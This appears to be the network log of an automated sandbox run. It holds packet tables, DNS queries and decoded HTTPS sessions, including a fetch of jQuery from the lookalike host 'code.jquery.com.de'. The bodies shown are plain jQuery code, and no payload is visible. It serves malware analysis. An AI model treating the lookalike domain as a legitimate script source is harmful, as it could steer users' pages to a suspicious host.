May 14, 2022 01:25:33.884357929 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.884429932 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:33.884629965 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:33.884659052 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:33.884824991 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:33.884854078 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.945432901 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:33.945871115 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:33.945935011 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:33.946410894 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.946717024 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:33.946739912 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.947099924 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.947179079 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:33.947191954 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:33.947268963 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:33.948052883 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:33.948137045 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.255857944 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.255907059 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.256027937 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.256234884 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.256251097 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.741260052 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.869731903 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.901453018 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.901475906 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.901726007 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:34.902050972 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.902107000 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:34.902344942 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:34.904452085 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.904536009 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.904552937 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.908660889 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:34.908704042 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:34.908806086 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.908828020 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:34.908921957 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.909106970 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.909115076 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.944144964 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:34.944286108 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:34.944298029 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.944340944 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.952503920 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.956690073 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:34.973670006 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:34.973706007 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:34.974641085 CEST	49712	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:34.974679947 CEST	443	49712	142.250.203.110	192.168.2.3
May 14, 2022 01:25:34.985538960 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:34.985735893 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:34.985836983 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:35.053003073 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:35.053065062 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:35.172802925 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.200018883 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.200078011 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.200094938 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.200200081 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.200233936 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.200272083 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.200290918 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.276695013 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.434963942 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.434990883 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.435081005 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.435113907 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.435132027 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.435184956 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437582016 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437607050 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437674046 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437690020 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437700987 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437772036 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437783003 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437799931 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437850952 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437871933 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437913895 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.437932014 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.437967062 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.515691042 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.515742064 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.515872002 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.515887976 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.515961885 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.515996933 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.669708014 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.669728994 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.669809103 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.669868946 CEST	49714	443	192.168.2.3	38.34.185.163
May 14, 2022 01:25:35.669883966 CEST	443	49714	38.34.185.163	192.168.2.3
May 14, 2022 01:25:35.669956923 CEST	49714	443	192.168.2.3	38.34.185.163

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2022 01:25:33.851315975 CEST	56417	53	192.168.2.3	8.8.8.8
May 14, 2022 01:25:33.851494074 CEST	55923	53	192.168.2.3	8.8.8.8
May 14, 2022 01:25:33.851656914 CEST	57723	53	192.168.2.3	8.8.8.8
May 14, 2022 01:25:33.878449917 CEST	53	56417	8.8.8.8	192.168.2.3
May 14, 2022 01:25:33.879389048 CEST	53	57723	8.8.8.8	192.168.2.3
May 14, 2022 01:25:34.138068914 CEST	53	55923	8.8.8.8	192.168.2.3
May 14, 2022 01:25:36.052115917 CEST	65266	53	192.168.2.3	8.8.8.8
May 14, 2022 01:25:36.075124025 CEST	53	65266	8.8.8.8	192.168.2.3
May 14, 2022 01:25:37.084956884 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.114265919 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.120631933 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.150449991 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.150505066 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.150546074 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.150583982 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.155241966 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.156420946 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.214442968 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.215127945 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.255671978 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.258030891 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.272710085 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.272757053 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.272788048 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.290179014 CEST	443	65268	142.250.203.110	192.168.2.3
May 14, 2022 01:25:37.303266048 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.303714991 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:37.303853989 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:38.382849932 CEST	63332	53	192.168.2.3	8.8.8.8
May 14, 2022 01:25:38.406172991 CEST	53	63332	8.8.8.8	192.168.2.3
May 14, 2022 01:25:52.221472979 CEST	65268	443	192.168.2.3	142.250.203.110
May 14, 2022 01:25:52.264405012 CEST	443	65268	142.250.203.110	192.168.2.3

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:34 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:34 UTC	1	OUT	Data Raw: 20 Data Ascii:
2022-05-13 23:25:34 UTC	3	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 May 2022 23:25:34 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-74wnoL5_8SVVAc3IhOL3Zg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-74wnoL5_8SVVAc3IhOL3Zg' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-05-13 23:25:34 UTC	5	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-05-13 23:25:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:34 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:34 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-Tdh-vtlhuSOiZ3eNr6I5Kw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 May 2022 23:25:34 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5611 X-Daystart: 59134 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-05-13 23:25:34 UTC	2	IN	Data Raw: 33 36 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 31 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 39 31 33 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 36d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5611" elapsed_seconds="59134"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2022-05-13 23:25:34 UTC	3	IN	Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a
2022-05-13 23:25:34 UTC	3	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-05-13 23:25:34 UTC	1	OUT	GET /jquery-3.5.1.min.js HTTP/1.1 Host: code.jquery.com.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-05-13 23:25:35 UTC	5	IN	HTTP/1.1 200 OK Date: Fri, 13 May 2022 23:25:35 GMT Server: Apache Last-Modified: Mon, 09 May 2022 19:44:04 GMT Accept-Ranges: bytes Content-Length: 96563 Connection: close Content-Type: application/javascript
2022-05-13 23:25:35 UTC	5	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2022-05-13 23:25:35 UTC	13	IN	Data Raw: 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 21 31 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 3f 22 6c 61 62 65 6c 22 69 6e 20 65 3f 22 6c 61 62 65 6c 22 69 6e 20 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 74 7c 7c 65 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 74 26 26 61 65 28 65 29 3d 3d 3d 74 3a 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 22 6c 61 62 65 6c 22 69 6e 20 65 26 26 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 65 28 61 29 7b 72 65 74 75 72 6e 20 6c 65 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 6f 3d Data Ascii: n"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t\|\|e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=
2022-05-13 23:25:35 UTC	21	IN	Data Raw: 3b 69 66 28 63 29 7b 69 66 28 79 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 Data Ascii: ;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])
2022-05-13 23:25:35 UTC	28	IN	Data Raw: 64 2e 75 6e 69 71 75 65 53 6f 72 74 2c 53 2e 74 65 78 74 3d 64 2e 67 65 74 54 65 78 74 2c 53 2e 69 73 58 4d 4c 44 6f 63 3d 64 2e 69 73 58 4d 4c 2c 53 2e 63 6f 6e 74 61 69 6e 73 3d 64 2e 63 6f 6e 74 61 69 6e 73 2c 53 2e 65 73 63 61 70 65 53 65 6c 65 63 74 6f 72 3d 64 2e 65 73 63 61 70 65 3b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 76 6f 69 64 20 30 21 3d 3d 6e 3b 77 68 69 6c 65 28 28 65 3d 65 5b 74 5d 29 26 26 39 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 69 66 28 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 69 26 26 53 28 65 29 2e 69 73 28 6e 29 29 62 72 65 61 6b 3b 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 72 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 Data Ascii: d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(v
2022-05-13 23:25:35 UTC	36	IN	Data Raw: 2c 53 2e 65 78 74 65 6e 64 28 7b 69 73 52 65 61 64 79 3a 21 31 2c 72 65 61 64 79 57 61 69 74 3a 31 2c 72 65 61 64 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 21 30 3d 3d 3d 65 3f 2d 2d 53 2e 72 65 61 64 79 57 61 69 74 3a 53 2e 69 73 52 65 61 64 79 29 7c 7c 28 53 2e 69 73 52 65 61 64 79 3d 21 30 29 21 3d 3d 65 26 26 30 3c 2d 2d 53 2e 72 65 61 64 79 57 61 69 74 7c 7c 46 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 45 2c 5b 53 5d 29 7d 7d 29 2c 53 2e 72 65 61 64 79 2e 74 68 65 6e 3d 46 2e 74 68 65 6e 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 45 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 22 6c 6f 61 64 69 6e 67 22 21 3d 3d 45 2e 72 65 61 64 79 53 74 61 74 65 26 26 21 45 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 64 6f 53 63 72 6f 6c 6c 3f 43 2e 73 65 74 54 69 Data Ascii: ,S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)\|\|(S.isReady=!0)!==e&&0<--S.readyWait\|\|F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState\|\|"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTi
2022-05-13 23:25:35 UTC	44	IN	Data Raw: 69 3f 28 69 3d 6e 2c 72 3d 6e 3d 76 6f 69 64 20 30 29 3a 6e 75 6c 6c 3d 3d 69 26 26 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 28 69 3d 72 2c 72 3d 76 6f 69 64 20 30 29 3a 28 69 3d 72 2c 72 3d 6e 2c 6e 3d 76 6f 69 64 20 30 29 29 2c 21 31 3d 3d 3d 69 29 69 3d 45 65 3b 65 6c 73 65 20 69 66 28 21 69 29 72 65 74 75 72 6e 20 65 3b 72 65 74 75 72 6e 20 31 3d 3d 3d 6f 26 26 28 61 3d 69 2c 28 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 28 29 2e 6f 66 66 28 65 29 2c 61 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 28 61 2e 67 75 69 64 3d 53 2e 67 75 69 64 2b 2b 29 29 2c 65 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 65 76 65 6e 74 2e 61 64 64 28 Data Ascii: i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ee;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid\|\|(a.guid=S.guid++)),e.each(function(){S.event.add(
